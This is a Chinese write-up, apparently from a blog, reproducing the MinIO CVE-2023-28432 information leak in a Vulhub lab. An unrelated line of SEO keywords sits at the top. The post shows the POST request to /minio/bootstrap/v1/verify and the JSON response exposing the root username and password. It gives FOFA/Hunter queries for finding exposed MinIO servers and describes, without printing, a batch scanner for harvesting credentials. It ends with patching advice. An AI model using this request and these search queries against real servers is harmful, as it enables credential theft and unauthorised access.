dnf游戏币交易网站建设,苏州做网站知识的分享,深圳宝安区属于富人区吗,资阳地网站seo前言#xff1a;MinIO是一个用Golang开发的基于Apache License v2.0开源协议的对象存储服务。虽然轻量#xff0c;却拥有着不错的性能。它兼容亚马逊S3云存储服务接口#xff0c;非常适合于存储大容量非结构化的数据。该漏洞会在前台泄露用户的账户和密码。 0x00 环境配置
… 前言MinIO是一个用Golang开发的基于Apache License v2.0开源协议的对象存储服务。虽然轻量却拥有着不错的性能。它兼容亚马逊S3云存储服务接口非常适合于存储大容量非结构化的数据。该漏洞会在前台泄露用户的账户和密码。 0x00 环境配置
此次实验我们继续使用P神的Minio的docker环境。启动环境
cd /vulhub-master/minio/CVE-2023-28432/
docker-compose up -d
启动完成后访问http://your-ip:9001为集群的web管理页面另外http://your-ip:9000为集群的API接口。
0x01 触发漏洞
这个漏洞的节点存在于这个路径http://your-ip:9000/minio/bootstrap/v1/verify 对该路径发送POST请求会返回一段JSON数据 {MinioEndpoints:[{Legacy:true,SetCount:1,DrivesPerSet:3,Endpoints:[{Scheme:http,Opaque:,User:null,Host:node1:9000,Path:/mnt/data1,RawPath:,OmitHost:false,ForceQuery:false,RawQuery:,Fragment:,RawFragment:,IsLocal:true},{Scheme:http,Opaque:,User:null,Host:node2:9000,Path:/mnt/data2,RawPath:,OmitHost:false,ForceQuery:false,RawQuery:,Fragment:,RawFragment:,IsLocal:false},{Scheme:http,Opaque:,User:null,Host:node3:9000,Path:/mnt/data3,RawPath:,OmitHost:false,ForceQuery:false,RawQuery:,Fragment:,RawFragment:,IsLocal:false}],CmdLine:http://node1:9000/mnt/data1 http://node2:9000/mnt/data2 http://node3:9000/mnt/data3,Platform:OS: linux | Arch: amd64}],MinioEnv:{MINIO_ACCESS_KEY_FILE:access_key,MINIO_CONFIG_ENV_FILE:config.env,MINIO_KMS_SECRET_KEY_FILE:kms_master_key,MINIO_ROOT_PASSWORD:minioadmin-vulhub,MINIO_ROOT_PASSWORD_FILE:secret_key,MINIO_ROOT_USER:minioadmin,MINIO_ROOT_USER_FILE:access_key,MINIO_SECRET_KEY_FILE:secret_key}}
在该json字段中我们可以看到MINIO_ROOT_USER字段包含账户名MINIO_ROOT_PASSWORD字段包含账户的密码。所以该信息泄露其实就是API接口的信息泄露。我们可以根据这个特性写一个批量的脚本文件来检测并将其中的关键信息返回。
0x02 POC利用
先在FoFa或者鹰图上面收集跟MinIO集群相关的资产。banner“MinIO” || header“MinIO” || title“MinIO Browser” 脚本相关较为敏感若有需要可以加群下载。 其实脚本比较简单就是向这个漏洞URL发送请求判断返回包是否包含敏感字段。 如果包含就说明有敏感JSON字段最后对这个JSON数据进行解析拿出其中我们需要的两个字段即可。下图为利用效果。 0x03 加固建议
升级官方最新补丁可以修复该漏洞。